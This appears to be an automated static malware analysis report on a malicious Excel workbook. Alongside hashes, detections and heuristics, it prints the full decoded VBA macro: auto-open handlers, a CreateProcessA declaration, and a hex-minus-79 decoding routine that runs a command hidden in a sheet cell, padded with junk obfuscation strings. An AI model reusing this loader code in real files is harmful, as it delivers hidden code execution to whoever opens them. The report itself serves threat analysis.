Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4d601ae571c59cab…

MALICIOUS

Office (OLE)

191.0 KB Created: 2018-03-06 10:53:58 Authoring application: Microsoft Excel First seen: 2019-01-11
MD5: 7a21895d9d2a4474a8ecdbbcd267cd26 SHA-1: f5f593352e39cd2e04ec44d504e45cd3ab34657c SHA-256: 4d601ae571c59cab72c30655d4ff99647fde68cc738cd0a1e5326e28c5b4aa1c
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains both Excel 4.0 (XLM) and VBA macros, with Workbook_Open and Document_Open events firing. The presence of a CreateProcess API reference and the ClamAV detection signature 'Xls.Malware.Cwsp-6735643-0' strongly indicate malicious intent. The macros are likely designed to download and execute a second-stage payload, as suggested by the 'SC_STR_CREATEPROCESS' heuristic.

Heuristics 7

  • ClamAV: Xls.Malware.Cwsp-6735643-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Cwsp-6735643-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    #End If
Public Sub Document_Open()
Dim JF_R As String
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Dim WW_W As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 232 bytes
SHA-256: b4059001fb4764fbd5386c825797c405e3f2b25314d3bfa8ed980ec05b75b07d
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mysghee
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19661 bytes
SHA-256: 32805c5dc2e1da1b21c2fd01970d941e14016d444ef19fa037b888995952e911
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 49 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
#If VBA7 Then
    Private Type ZUR_NC
        AT_Q As LongPtr
        Q_FBT As LongPtr
        BN_G As Long
        SZJ_LPR As Long
    End Type
        Private Type YRK_UDF
        U_RJ As Long
        ROQ_PY As String
        FL_VE As String
        VP_O As String
        R_EAC As Long
        VC_TRK As Long
        GU_PF As Long
        ZCI_EL As Long
        AGU_M As Long
        PCM_AHA As Long
        Z_J As Long
        HUC_W As Long
        HL_L As Integer
        AUQ_ABJ As Integer
        ROQ_PY2  As LongPtr
        N_NT As LongPtr
        W_P As LongPtr
        C_JS As LongPtr
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal MPJ_L As Long, ByVal HSZ_B As String, U_NOV As Any, F_AQ As Any, ByVal RJL_NQ As Long, ByVal CL_I As Long, ByVal N_U As Any, ByVal FLQ_K As Long, B_WMV As YRK_UDF, LKA_WWS As ZUR_NC) As LongPtr
    Private Type QR_XHU
        T_G As Long
        JS_Y As LongPtr
        FI_AE As Long
    End Type
#Else
    Private Type YRK_UDF
        U_RJ As Long
        ROQ_PY As String
        FL_VE As String
        VP_O As String
        R_EAC As Long
        VC_TRK As Long
        GU_PF As Long
        ZCI_EL As Long
        AGU_M As Long
        PCM_AHA As Long
        Z_J As Long
        HUC_W As Long
        HL_L As Integer
        AUQ_ABJ As Integer
        ROQ_PY2 As Long
        N_NT As Long
        W_P As Long
        C_JS As Long
    End Type
    Private Type ZUR_NC
        AT_Q As Long
        Q_FBT As Long
        BN_G As Long
        SZJ_LPR As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal MPJ_L As Long, ByVal HSZ_B As String, U_NOV As QR_XHU, F_AQ As QR_XHU, ByVal RJL_NQ As Long, ByVal CL_I As Long, ByVal N_U As Long, ByVal FLQ_K As Long, B_WMV As YRK_UDF, LKA_WWS As ZUR_NC) As Long
    Private Type QR_XHU
        T_G As Long
        JS_Y As Long
        FI_AE As Long
    End Type

#End If
Public Sub Document_Open()
Dim JF_R As String
JF_R = "8E8E8E8E5C658E7A8E6B8E529D8E715ABA8E81B98E8E5BB872C08E8E5D8E8EBD8E748E998EC68F8E8E8EAD846998B08E688E838E8E8EBF8E8E966CBC78B285788E8E8E8E8E798E606F5A8EA58E8E8E8E8E8E8D648E8EB1618E8E8E7E8E8E8E8E6B5D8E888769596D9ECC8E948EA0BEBD9E8E8E8E8E848E8E818E8EAC608EB48E8E5BE9CD8E6F9E90928E8E5B8EB78EC27FAD568E908E53B8908E7D8"
Dim HG_T As String
HG_T = "E81BB8E8E83B8B28E8E9A618E928E8EA451AF8E6F8E8EAD678EB88E878C8E8EBA5E8E9B8E8E8C53688E8E9B8C948E8EB5C59B8E8E968E518E6A8E8E8EC55CAC8E8EC98E57648E9C8E55758E93708E8E618E8EB79A8E8E9A99BA8EC959829D8E8EB4BD8B538EA08E8E728E708E8EAF968EC78E958E8E7F8E8E8E8E838EC78E8E71A48EB48ECCBACE92B8778E8E5AC48E8EAD8E8E8E8E8D8EBB8E9D7A"
Dim YY_NUV As String
YY_NUV = "8E8E98BDB68E8E718EB774518EB2955C8E7F8E8E7B8EC37D8EAA8E7677608E8E8E8CCB8EAB9974B58E8E8E8E8E8EBCC48ECA8E8E578E8E8EC46A8E5B0A8E8E8E9B5C9D8E958E8E5A877B8E9DCD8E518EBB7E8E8E8E8EB48C8E8E90BB688E8E8E60868E6E8E8E8E8E8E8EB2A5C68EBF8E6DA58E9CB569CB8E5F7F8EBF768EA36E8EBBC18E8E8ECD8E6C8E518E8E8E8E8E9C9A8A958E8E8E5DAD8EA98"
Dim YJS_S As String
YJS_S = "E8B5D858E8EA89EC75CBA8E8ECC8E778E7A8E8E8E94588EA9C48E8E8ECE8E8E8EB08E8EB7558E878E8E8C8EB98E8C828EBC8E8B8E8E54A1CA64948E8E8E8E8E718E8E8EC68E748EAC99BF8E628ECAC9C38E608E8ECB8E8E8EAD8E8E8E6A8E8E97AE8E8EBD8E8E8EC98E888D8E8E8E8B8E8E678E8E8E8E688E838F8E7E8E5F788E6B8E8EBA7B708E71938E6EAFA58E99B38E8E8EAF8E8EA399BC8E57"
Dim ANE_LS As String
ANE_LS = "998E78648ECD8E999A8E8E8A568E5D8E898ECD8E8E62A5538EB783668E7E8E8EA18E58CA8E8E4F6887AF8E8E8E8EA85E8E7ECCCEA0658E8E8EB864838E8E5AC154A88E8E558E8E8EB68E8EB8868E8E8E8E728E66A64FC4998E638E8E8EAFC68E76CD8E7BB79F8E8E8E8E8EB28EC58E8EC5548E5AA98EA75C8E728E578E8E568A83908E8EA8A38E8EAD758E65619A738E8EA9BDA98ECE8E8E816D8E7"
Dim RI_V As String
RI_V = "B8E8E9F518E778E838E8E85718E798E8374918EAA8EB6B895AB8E8E8EC48E8E898EA5528E8E828E8E729B8E8E8E8E72B47C7E7D598E858E638E8E798E8E7B768EAD8E5E608E5D8E8E715F8E518E8E8C8E657C778E8E8E8E99BB7F8E768E8EAE8E885B8E608E6DCEC48EB18E7F8EA48EB053A29E8E8E618EBC8E8E828EA1788E8E8E808E538E58A3708E998E8E8B9C717E8FAB8E5B8E8E9B8E9A6C8F"
Dim XU_UG As String
XU_UG = "8E908E91888E868ECAB18E8E8E7C8EC4C7677F8E8E538E8E8E8EAB8E8E748E8E8E8E8E56B08E535D8E8EAE8E8E5CBD8E8EA5818E8E8C819B8EB28E918E8C778A80969C8EBD66B27A8E6785A9A98E8E575C8E8E668E098EA0788E5F8E86B0C98E7088B78E8E8E7E8E568E8E8E8E8E888EBD8E8E69BD8E8E8EBB61518E578E728EAA8E8E8E8E8E8E8E628E8E8E8EC68A8E8E718E8EAFA6C5908E8E8EC"
Dim JR_SDE As String
JR_SDE = "88EB08E8E8E6570BA8E8E8E8E80A95F5C8E8E728E8E8E8A8EBAA48E8E8E66BDA688858E93AF69768E928E8E7D8EB5828E7E708EA58A8E758E8E8E8E8E8E708E8E528E8E6AAD898E8E8E8F8E9A8EBD8EA9768E8E6E676BAB5F608E8E9C988E718E88BA8E8EAA8E8E8E9BA9AC8E93C08E8A8E8E628E8E8EC98E598E8EAD8E7A6C7161AFC4AE8EC88E8E8E8E8E8E8EC8BF8E8E8E8E62638E8E7BB28E80"
Dim OKU_D As String
OKU_D = "CE71AEAB8ECC8EA08E708E8E768E8EB98E598E8E948EC6BD8EB09AB88E8E8E658E8F8E8F8E8E8E908E8E8E8E8E8EA88E878EA84F8E8E8E8EB4816ACA988E8E8ECAA17958A68E8E8E8E8E8EC58E8E59848EA88E9F8E9D8E9C8E7568BA8E518E9F8E955DC95055618B648EB28E8E8F998E8EAB8ECB8E79A28E7658878E8EBD8E8E8E74618E8E8E828E95B28A928E8EAD8E8E8A7B8E588EA58E8E81A18"
Dim HQF_E As String
HQF_E = "E8E8E8E8E8E728E7C8E9E8E776A858E8E5F8E868E8E8EA991AB8E9B8EAD8EAA8C8A5D8E8E8ECD628EA26C8ECBC08E998E8E8E916A9C668E9BB2B6A68E8E8E768EC08E5BCE8EA88E8EB964B38EBC8E8E505E8E8E68718E8E8EC080658E8E8E8E8E5A8E8E8E8EBA9FB58E868EAE8ECB8E8E8E83C08E9D8E638EB677C96FC4C98EC38EB68E85777DB48EC18E93BC8E8E8E8E6D8E9E8E6E8E8E8E67CE92"
Dim SU_DX As String
SU_DX = "8E94898E8E8EB98E64628E8E555B768E988E938E8E78A68E5DA38E8E8E6C8E8EBC878EBF8E778E8E8ECE8E98C78E8E8A8E8E8E8E6B8E8E938E648E817D8E6969CC8E8E9FAE8E8E8EA9938E8E958EAB6B8E8E988E8B8EA0A3537B8E618EA18E8E8E7D8E8D8B8E7F8E078E5A668E758E8E95876C8E8EB69E9A828E8E67578E8E57668E6D8E9A688EBF8EC9988E7D8EA84F8EBDC69F648E8EB7C0B38E8E977F5D8E8E8E8E6E6EBC8E8E55AD53518F67916F64A18E968E6B8E8EB980678E96818E648EC28E8E8E7D8E8E8FB2BD728E9E766A8E6F54A38E8E67C68E8ECB8E8E8E519C8EBE8E8EA6AC598ECE88C4716A598E71767CB86C90AA7D60818E7C8E8E8E8E8E8E51C98E8E8B8E8E8E8E8D5F8EB08E8EAC8E8E688E5BA0908E8E8E7F5F6B8E8E688EA0728ECE"

    FIB_JAE
End Sub
Public Sub FIB_JAE()
Dim V_O As QR_XHU
    Dim O_EX As QR_XHU
    Dim CF_I As YRK_UDF
    CF_I.HUC_W = &H1&
    Dim LQ_BIF As Long
    LQ_BIF = &H20&
    Dim V_P As ZUR_NC
    Dim S_LWZ As String
S_LWZ = "8E796B8E8E788E798E84C479AE8EA88E8E8E8E8EB5618E8E9D8EC88EB88E8E8E9D8E918E9D748E5D9E538E8E8EA3718E538E5E7D618EC867CB8EAF898EA18E8EAA604F658E96B18E8E94B16864BB8E8E8E8EB97FCE8E8E6C78AEB58E7A8EAE528E7491718E6D8E8E82A293658EB5CB8E8E8E8E8E8E978E9B8E8E8E8E8E8EC78E64A2958E8E8E8E8E9BB88E55798E8E8EC17C8E8E8CC98E8E8E8E8E8EB2B68EB68E62848E838EAA83908E848E8EDC8E"
Dim I_UY As String
I_UY = "8EAD8E8E8E8E8E8E8E938E8E8E8E508E8E908E508C9C8E8E8ECCA078B26D5A8E8E548E8E8E5F88C4778E8EBFA58E6282668B8E8E928E6FBF8E9D8EAABD8E8E8E8E8E8E8EA6C46C7F8E8D8E9CA16F8EB7B96C61758EB28E8E8E879282838E558E5E848EA68E7E8E6EA08E545F8E6D8E5DC28EA08E8E77CBB38E8E6E808E8E8E86968C6C8E8E8A90C0569BB58E8E5F69B8738E8E5CA45B638E547E8EBE83A47E8E8E5099758E5E618E8E648E8E8E538E"
Dim LD_IJ As String
LD_IJ = "8E898E888E5FCA8E8E5A8E518E8E868E73C9676D8E8E868E8E8E7E8E717B908E8EBD6A9D9C8E8E8E8E7F908E8E5F8E8E8E598EC28E8E9F8E8E8D938ECA8EB88E8EAAB28E8EC78E8E779E8E8E698E8E997066C68E8E8E8E8EC0A0B85EA2AC8E8E8ECB588E6F8E8EA98E8E6A8EA28E8EA88E8E8E4FAE8E60925692B3678EBF8EA984968F7C8EA675578E8E718E8E8E8EC78E8E8E8EA48E8E8E8E8E918EAE8E8EBDB56C89A57B848E8E8E8E5E8EA594CB"
Dim O_P As String
O_P = "8E518E8E8E8E96CB8EC98EAB9171996A988E708EBA9C5BA48E588E828E8E5AAC8E8E8E8C8E5E8E896D8ECA8E8E5CB38ECD84B18E8E8E978E8C8E8E8E6CA08EB5ABC6CD8E8E616B807D687A6B8EB4A775828E8E76A8A08E8E8E8E8E7AC18A8E998E8E96768E8E8EBA6780BC8E8E7A648E7B8E8E749B5B598E8E8E6F8F8E8E948E896D808EC073705E768E8F9D8E8E8E8E8E8E8E8EC98B8E56628E7976C2CAAE8E8E8E598C508E8E8E75A1878EAB958E"
Dim PT_R As String
PT_R = "8EB58EAB8E8E8EADC18E8EB78E728E8F538E9D8E8E7A8E65918E7DA48E848E648EB98E6A8EADC98E8E8E7F8EC08E8EC2558E74668EC88E798EA98E7E6B628E7CA2656D7A8EB78E9BBE6D85B4B3A68E6EBD8E8E97B08E8E8EC68E5B528E8EC18E6351B9AA8E8E8E8E958E8E916B8EC28E8E8E8984B88EA4847C8E8EAB8E8E8E8E8EA0B08EC38E8E8B8F518EA4678EAA7B8EC7688E87B28E856475B38E8E8F8E948E6B8E8EB28E64618E8E8EB6934F6B"
Dim Y_G As String
Y_G = "CDA78E8E79C88EC3888E7A8E9D788EC18EAD91BB8E588E8E61B2565489BD928E63588E69CCC88E668EB973868E8E8E8E8E57508E70C38E8E8EC18E888EB1888E9492BCA68E8EC5A3A28EBA8EB38E6C628EC88A8E8EC08E838EA99BBC8E8E8E8E8E82C2738E8E8E8EABA39A78A38E8EA1769792AC8E718E806A578E8E8E8EC86BC78ECB5465B58F698EB48E8E558E8E9C8E8E8E718E8E5F8E8EBD858E8E8E8E5C8E785D9B5F8E5192849591818E64C3"
Dim FAO_F As String
FAO_F = "518E5D8E8E8E8E8EBA94728E58828E6E8ECB79B98E4F8E8E8E8E8E9AA88E8E728E8E506286C48E558E8E8E5EBE8E728E798E587C8E8E597A6855718E8E8E969D8E5D8B8EB88E8E818E8E8E8E7D8E8E5870BE8E8EC16F8E8E8E7FA1549C639C8E8E8E8E8E8E8E638E8E8E71CD988E728E7D8E8E7E8EB28EBF317B8E8E8E8E5EAFC78E82AFC78E8E8E8B8EA68EA77D618EAC6D72788E8E8E8EA082C18E59A98E8E89C68E7ECBA58E8E8EC38E8ECE8EBA"
Dim FMW_B As String
FMW_B = "C2695D7CCB8E8E8E8E8F835D93808E8E7C8EC38E8E6F55B7889E778E8ECD8E8E8E8E8E7B5A8EA48E8E8E9796C08E8E8E8E8E9A8E8E858E76628E8E8E8EBA8ECDCA818A8E8E707C6E7A8E8E8E8E8EB2B265A28E938C5ECB5C548E588E688E8E8E8E8E8E5F6AAECB7BAD859164B76C6C81868E668E898D718E8E8E7873AF618EBF958E4F8E8EA28E8EA7678E8E888E8E8E8E8E8EBB8E8E8EB18EB8BB85A68E9B9D8E8EC36B70CD8E8E738E70AE998E8E"
Dim JT_T As String
JT_T = "619C888E7E8E538EB4978E8E8E4F9B8E8EB678778E8E5C8E519677BCA767BA8EA88E6D8E6BA08E885D8E8E8EA9B58E8E8E6C8E8EBE8E7F8E8EBC8E8EA67E848E8EA4C5888E8E688E90A1548E8E8EA79C84BFA88E7F8EA6618E668E55B38E738E8E8EA58E8E8E8E7CC37AA08E8EAEB377588E8ECA81738E8E7351568A8E898E9D8E67838E8E8E8E8E8E8E55868E8ECD8EA98EAE66C2AA8E8EC08E8E8E8E8E967FA58FA9748EB68E8E9E769A8EAC8EB9"
Dim WYV_OD As String
WYV_OD = "73868E8EB77B8E7D8E658E868E878E79BE9D8E69C4899E8E8E508E998E648E8EA49B8E8E78C57BA18E727F8E8E8E8E8E898EC88E8E8E8E8EB5B2698E9F4F8E94978EA48E8EAC8E988E8E5576599C8E8EC78E8EBC8E8EB08EAA97518E788E619E6E8E8EC88E52987554AE8A5E8E8E74898E8E8EA571738E964F8E8EC38EA2648E7D8E75948E8E73AF8E508E9B8EA88E8E6D8E8FB68E8E8E6DA98E7C5A75A3B78E8E8E798E668E8EB3725B8E9D8EB38E"
Dim R_E As String
R_E = "8EA68EA3B48EB2648A8E8E8E8EB38E98B08E8E8E7B788E8EBEBB8EAB8E8E7CC38EA08E526AB68E638EC98E968E7C8E5354788E8E7A8E8E8EBB7A8E8E8E578E6A90618E949472B98E8E8E8E8E8E7D8EA5B96C8E8E8E8E9DBF8E8B538E8EC0768E8E5B8E8E6E8E8E57578E8EAD8E8E8E8E8EBA8EBC8E8E8EB49C8E8B8E8E8EA28E8E8E8EB78E8E8E94B68E9F8E8E7A8EC18E9D8176B18E9C8E8E8E8E8E938E8EC38E669BA88E8E8EB2BC8E8E8E8E8EB85C8E70C06D8E878E8E82948E728E8E76898E758E8EBCB18ECA"

   Dim Z_Q As String
   Dim HG_HLX As String
   Dim Q_YT As Long
    Dim RIC_Y As String
    RIC_Y = ThisWorkbook.Sheets("mysgheet").Range("K244").Value
    GoTo x2
x1:
    Dim X6
    X6 = CreateProcessA(0&, Z_Q, V_O, O_EX, False, LQ_BIF, 0&, 0&, CF_I, V_P)
    GoTo x3
x3:
    Exit Sub
x2:
Dim ZWI_HK As String
ZWI_HK = "B58E8E8E8EA28E8EAB5D8E718E518E5909A8998E8E9C8E688E648E6F8E6FA3828E728E8E8E8EAB8E678E988E546EC28E8E926D6A8E8E7E9C8EC9CB8E8E8A9D8E8E8E8E51848E8E8E8E8E8E5369628E8E8787CC51878E8E8E968EAFC88E8E8ECE8E8E99708E8E8EAAA76C6265C2978EB58E518E518E8E867B8E8A8E9B958E8E8C95AB8E5"
Dim IO_NC As String
IO_NC = "C8E8E718E69BE8E8E8E898E8E8EBC8E8276618E8EC58E5B8EB7A88450B28E7D8E8ECA8E8ECA8EC1B98E4F8E8E8E8C8E62838E8EB28E5F9D8E9155AF998E8EAC8E8E8EAE4FA28E988E8E64C496C39479C68E8E7E8E51BAAF92878E606F8E787E628E8E8E8E8EBC6E738E8E55778E8E8E5D8EC68E7B8E8E5EC28EBF6DA49B66B0C18E8E67"
Dim WMN_MLA As String
WMN_MLA = "7D8EC7BCBD8F8EA86A8A8E77CB8E8E8E6A8E678E8E638E54BB9C8E8EAA8E8E508E8E8EA071958E868E978E8E8EAE948EB6B778CB8E8E8EB78EB9A38E8E838E8ECD8E8E8E8EB98E8E8E93B5B28E8E8E8E8EB0B2BEBA8EA5CC8E8E8E66638E8E9C8E8E8E8E8E8E8E9DA65459528E8E8E8EBD5E9CBE998E8E6DA57CA18E8E828E8E8EA38E8"
Dim FXZ_KY As String
FXZ_KY = "E6CC29FC18E4F8E8EBA6FB08CA88EA2A4808E8EAE7053A1608E8E566A91698E8EA57FA18F8E7F8EA2FB8E8E8E8E8EAB7C53A88EBD8EAF8E5C8EC68DA0C18E8E788E62CD508E9B8EC46C8ECA8EB1788E928E8E8E8E838E90C5B38E8E99BD8E6E8E5DB58FC08EAA948E8E8EA08E8E8E8E8E8E8E8E8E8E8E568E788EA0568E8ECA8E8E8E74"
Dim N_TG As String
N_TG = "8EB08A5E8E8E8E518EC0628EB8C2507D7E72C18E8EC88E6B8EBACD8EB9778E8E8E86818E8E8E94768EC57A658E8EC09A8E8EB08E988E6E628E7E8EB27498B2948E8B8EC8BDC77BAF8E518E55858E8E917C6E8E749E848E8E8E64ADBA9F8ECE89A58E8E8E7DAB508E965F688EA0938E85558E8D8EC79D8F8E8E8E6650B38E8EA38E978E8"
Dim HAA_K As String
HAA_K = "E8591A18E9DCD8ECDCB8E8E8E849968C28E8E57C6626A8E944FA18EAE8E76588E8E8E8EC4C48E8E8E8EB78E6995777DB78E8E7B8E8E637275B09C7B606D8E8ECB708E848E8E8E8E8EAF8E8E7AC28E8E727B8E8E8E8E718E8E8E8EA98E8E8E968E73988E8E8E8E998E7BAEC78EA08EC4588EA68E8E8E8EA78E8E5B8E8E8E608E8E8E8E79"
Dim KCJ_RGI As String
KCJ_RGI = "998E528E8E8E8EB38EAEBD8E409B8E8E74A08E8E4F8E8E8EB19CCD66CA8E8E8E8E8E8E8257C08E968E8E8E87668E69997F8E8C8EA18E7C8E538E888E8E8E8E8E678E5F8EC06B8E8EBB866E8E9A8EB38E9A8EA2968E8E607DC3865D8E8E8EA28E8E598E8E8EAC8EB68E8ECB978E8E8E8E8EA18E8E69BD8E928E8E8E8EADC8849A8EA96E8"
Dim NSD_S As String
NSD_S = "EA89BC28E978E938E7B8E8E506755A28E7D8E73CA8E928E8E8EA2958E76758E5AC7556C788E8E958ECA725D8EA674C26B8E8E8E60B78E7F8E8E628EBA7EACB6B45B8E9C8E535F8E8E8EC48E838E558E7D8E8ECDB68E8E5EBE8E7F838EA4749BA38E8E8E8E8E668E8E6B768E538E8C8E8E8E9E8E8E8E61CD8E8E8E788E8E778E7EBDC4A5"
Dim BA_YIW As String
BA_YIW = "538E8E8E6AB98E8E8E8E8E8E8E9A8E67928E8E8EB28E87BD5D77ACBB8E8E8ECD8C8EB1C18E8E8D9C8E847A8E8EB48E79AB8E798E8EBE9F818E8EC4CC758EC68E778E948EA2B1CCBE8E7C8EA18E8E8E825F8E4F8E9B8E618F918E8E8E8E8A8E8E8E8E908E728EA3A2918E8E8E8A849965A1C56FBD8EC58E9560B48E8E8E8E8EA98E8E8E8"
Dim MKV_W As String
MKV_W = "A5E8E6FB48E8EB1AE948E8E8E8E8E8C8E9F8E7CBA8E8E8E8E8E8E9F1583BC8EA68E928E8E58958EC28E8E706963598E8EC682BD8E8E8E6F778EC18B8E8E60A28E7C8E8E8E96A3928E8E8E668EC09563528E887A8E7C8EC78EA78E8E5C8EA1768E84B4588E7F8E7A8E558E579F654F8E8E8EA4688EAB8E8E7B4F8ECE8E738E50C48E8B8E"
Dim K_VL As String
K_VL = "59A78EA84F91768EBE8E918E9886B387A98E8ECA8E91AE8EB9BB8E928EB88E63CECC8E8E698E8E8EC78E8E8E8EB18E8EA46B8EB47C8E978EBA8E707B8E8E5E8E8E8EC88EC48ECD6E818E8E8E8E597D8E9A9B5B8EA08E8EAF928E8E8E8E8A618E5262B68E8E5DCA8E958E978E8EC48E8E518EC68E678E7B81788E8E8E8E65C8CCB1798E8"
Dim HR_X As String
HR_X = "E8E9C8E92A38ECE8E8E6F8E6A8E928E968E8E8EAE8EC38E94CE8E8E7E8B8E9C8E8E668E7C828E97838E86578EC28E8ECB818E8E938E7F8E8E8EC88E9EBE7F8E6F988EA98E69B6778E79688C8E8E5B81B88E588E8E7E8E8E8EBE6AB28E6156848E798E768E66CACB8E688E8E798E8E96CA8EB496798E8E8E8E8EBD8E5B8E945684A58E8E"
Dim IF_FNK As String
IF_FNK = "B7916B8EBC7A8EC3AF8E8E8E8E8E988E8E5A4FBE688E8E8E8EBFAC8E8E8E508E8E87CEC18E8E8E959E8E618E8D87A68EA8C49A8EC19E8EB9978E8E8E564F8E8E8E8E898E5BA2778E8E8E9387548EBC978E5DB18EC963798E926D8E8E8E6151AA928E806E8E8E8E998E648EA68E8E8E8E7A8EC78E8EB4838E5F8E8E838E618E8E8E8EAC8E9D8E97BD6658B4988E9A8E8E8E638EAA8E8EC1CA5D8EC5BA8EC2918DB68E8E7A708E577E87B8AA8EBB8C8E"

   For Q_YT = 1 To Len(RIC_Y) Step 2
        HG_HLX = Chr("&H" & Mid(RIC_Y, Q_YT, 2))
        Z_Q = Z_Q & Chr(Asc(HG_HLX) - 79)
   Next
   GoTo x1
End Sub

Sub Workbook_Open()
Dim WW_W As String
WW_W = "B88E8E508E9FCB57B15F8E8E8E8E77B9A38E568E8E8E8E8A5197708E898E718E8E8E8EA08E5BA58E578E8E9B8E72B68E8EADC78EA18E519BA356A9B876B38E8E8EA18E678ECE8E618E4F8E548E79738E8EBA9B8E8EB28E8E548EB99DA88E8EB28EB98E8E8E8E728EC4CC8E59958EC68E8E667E8EAB5B628E63B18E84BD8E908E9EA18E8E96BB8EAC"
Dim J_D As String
J_D = "8E978E8E5B8EBA8E8E8E9A8E8E90C38E8EAC8EB48E968DC453A2768E8E8EC38E9C8E8E628EA38E708E8E968E978E525D8E7A7F8ECBCB8E595B8E8E8E8E5578B18E968EB086B48E8EBC8E4F8E7CA79F678E8E8E8E588E5F6458CC8E51A46B8E6C838EB35ECECB8E8E978E5D8E8EB18EB0B68E77CE8E8EC68EC7A68E8EA49F8E8EC28E8E908E848E8E"
Dim W_F As String
W_F = "90618EC4C68E8E888E8E8EC98EA9608E7B567488508E8E8E8E8E8EA9BB75698E8E8E8E8EBC508E6B8E548EABBCAB67C356638E5FA7C4BF520C8E928EC38E518E8E8E868E55C46CBF8E8EB094AC8E8EB4608E8E558E638E8E928E8E937AA88EA58E8EA48E8E8AA58E8E8ECCAE8EACB5B18E6F8E8E8EC78E638ECC928E618E57B58ECE8E8E8E8E95A6"
Dim KA_XI As String
KA_XI = "8E588E5F7C8E64CAAC7C7B878E8EBE98908E6C8E8E8E658EB1AE8E518E528E8EC48E8EB68E9E8E8E8E8E9BC98277AE54748EC5658D8E6A8E8E78AD8F8E8E8EA88E7EAA8E768E8EC48E7C8E928E8E5F8E8E8E8E8EADBCC0908E6253C76F98C17F8E758E8E8EB58D9958A8A88E8E8E94C88E97518E8E8E8EA7A18EB18E595C8E8E62A3BBB2A09D89C4"
Dim JEJ_VR As String
JEJ_VR = "B08E53628E938E8E8E8E4FBE8E608E8EA37EBE8ECC8E9B8EBC8E8E658E885D8E708E8E8E5D518E90B5C48E8EB5928EBF8E6E8E8E8EA5A8AC8EC46EAC8E8E808E9A8E6FBC968B8E8E9D8E8EA28E69928E8B758EB68D8E8E8E8E96678E8E8E618E738B8EACA18E708E8E8E58518E918E8E9D5A558EBB8EBEA08E8E8E8E908E8E9A6A8E5450C68E8E8E"
Dim LIN_AOV As String
LIN_AOV = "8E8E8E8E8E8E568E8F8E8E8E8E878E7383577C8E5B9D9C768E9C8E5553BB8E8E7B57C18E8E8E6C898E8F8E8E9F8EAB848E91CD8E8E8EB18E6A8E8E508E8E8E54B78E8E7C8BACA55F8E5D5C8E8EC7A6AC8E7779CB8EA7C68E8F888E4F9A885BBC8E8EA28E568E8E768E958E8E8E5E8EA8C27F8E92775E79528E528EA58EA3508E8E698E538E8E93A4"
Dim G_W As String
G_W = "8A618E6F8E78688E8E57921BAA8E778E698E938E8E8E518E8E61A38EB68FB38E8E8E848EA08E8E8E9A8E8EAF8E8E8E858E8E4F8EAE6FC26D8E8356A17B8E51AD8EBD8E8E8E4B708E8E75A585A8C8C48EA4B3B88E8E8E8EBC8E8EAC8E8E8ECC8E9F8E8E8E7793B2BFC98E8E8E8E8E8E8E8E848E8E7E8EAA6D8A8E7D8E578E8E8EC98E8E8E7B6F556B"
Dim KLD_OKP As String
KLD_OKP = "B1628E8E8E588E5C8E8EBD8E8E58578E90CD8E9E8E6782968E618E8E7E946B6EC9C6B78E74868E7557C68E8EA39A7167B68E8EBCCB8E8B908E8E8EAC8E948ECA5E8E8EAE6B968E778EBEC28EAC8E8E8E8E8E8E8E528EBDCC8E8EA38A8E8B8EC7578E8E8EA38E8E558E8E8E7D8E8E8E8E8ECC8E8EAB888E8B8E938E93838E8E8E988E79698E9D8E8E"
Dim RTL_X As String
RTL_X = "8E85638E8E8E655A8E9C508E8E8E8E8E8E688E83AEB08E8EC3508E8E637473748E647D8ECE8E8E8E628E8DB68E8E8E4F8E8E8B8E8E8FC49F9BC78E898E8EB08E8E8E8EA0918E8E8ECB8E8E8E858E8E8E8E638E928E6E6D8EA17D8E6F8E698E928E8E63AD8E8E8E948EB04FCE8E698E8E8EBDC78E6C8EB7C28E8E6367C98E8E8E838E8E8E8E8AA68E"
Dim I_LM As String
I_LM = "8E8D8E6CBC8E628E658C8E8E758EC58EBE8E8E8E578E73998EBB8E8E898170B26D8E8EA57A7D4F808E888E8E8E927D8E8E8E82857C8E728E8E8E8E8E598E79567A8E998EB28E8E8ECC8E8E99C88E8EAE8EC28E8EA7CBAC5680A993798E8E8ECB8E8EC68E90955574A68E805C8E8E7B877ACB8E5C8E6B8E9E8E809CAD8E8EC180758E8C8E6C90BBC5"
Dim G_G As String
G_G = "8E8E9A9E8ECE7C5A8E82568E8EB48E768E8E638EB68E8EA98EC98EC5AD8F8E658E82538E5A8E6FA18E8EBA8E86B18E648EBD7B8E8E8EC27B8E8E608E8E8E598E8E8E72A98EB18EC38EA1A2A5728E8E8E8E628EB68ECEC6798E6CBC907797CAAD8E8E8EB18E8E6B898EB0886C585C8E7B8E8E6DC092918E7E8E937882AE8E8E8E508E8EA574988E7B"
